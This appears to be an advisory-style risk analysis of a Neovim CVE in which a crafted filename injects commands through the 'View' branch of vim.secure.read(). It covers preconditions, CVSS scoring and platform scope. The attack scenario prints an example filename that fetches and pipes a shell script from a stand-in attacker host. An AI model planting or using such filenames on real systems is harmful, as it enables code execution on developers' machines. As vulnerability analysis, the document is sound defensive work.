Neovim CVE-2026-11487

Exploitation requires the attacker to have write access to a filesystem path that will be encountered by the victim's Neovim session - for example, a shared project directory, a repository the victim clones, or any path from which Neovim triggers vim.secure.read() (such as directories containing .nvimrc or .exrc files). The victim must be running Neovim up to version 0.12.2 on Linux or macOS - Windows is not exploitable because its filesystem forbids | in filenames. The vulnerable code path is triggered only when the user selects the 'View' action in the vim.secure prompt; 'Allow' or 'Deny' selections do not pass through the vulnerable sview branch. CVSS PR:L confirms low (standard local user) privileges are sufficient for the attacker. The injection payload requires Vim Ex command separator characters (primarily |) to be embeddable in the filename, which is OS-permitted on Linux and macOS. Direct OS shell command execution requires the injected Vim command to itself invoke :! or equivalent; bare Vim command injection (e.g., :let) is confirmed by the PoC.

The CVSS 3.1 base score of 5.3 (Medium) with vector AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L accurately captures a locally-exploitable, low-complexity attack requiring only standard user privileges with bounded CIA impact. Temporal metrics E:P (proof-of-concept exploit exists), RL:O (official fix available), and RC:C (confirmed) align with observed intelligence. EPSS data was not provided in the input - exploitation probability cannot be quantified. The CVE is not in CISA KEV, so active threat-actor targeting is unconfirmed at time of analysis. Real-world risk is most relevant on developer workstations running Linux or macOS: Neovim's user base routinely opens untrusted or shared project directories where malicious filenames could be planted. The CVSS UI:N designation may slightly overstate attacker autonomy - the victim must actively choose the 'View' option in a security prompt, representing at minimum implicit interaction; this is worth verifying against vendor classification. Critically, Windows systems are entirely unaffected because the Windows filesystem prohibits | characters in filenames, meaning the attack surface is limited to POSIX platforms. While the immediate injection surface is Vim Ex commands rather than direct OS shell execution, injected Vim commands can call arbitrary shell processes via :!, so impact can exceed the Low/Low/Low CVSS CIA ratings in practice depending on what the attacker injects.

An attacker with local user-level filesystem access creates a file named legitimate-project-config|!curl attacker.com/shell.sh|sh (or a simpler Vim command variant such as Xfile|let g:pwned=1) in a shared project directory or repository that a developer is likely to open with Neovim. When the developer opens Neovim in that directory and the vim.secure.read() prompt appears asking whether to trust the file, selecting 'View' - the ostensibly safe option - causes the unsanitized filename to be injected into vim.cmd('sview ...'), executing the appended Vim or shell commands with the developer's privileges. A proof-of-concept demonstrating this exact behavior is publicly documented in GitHub issue #39914.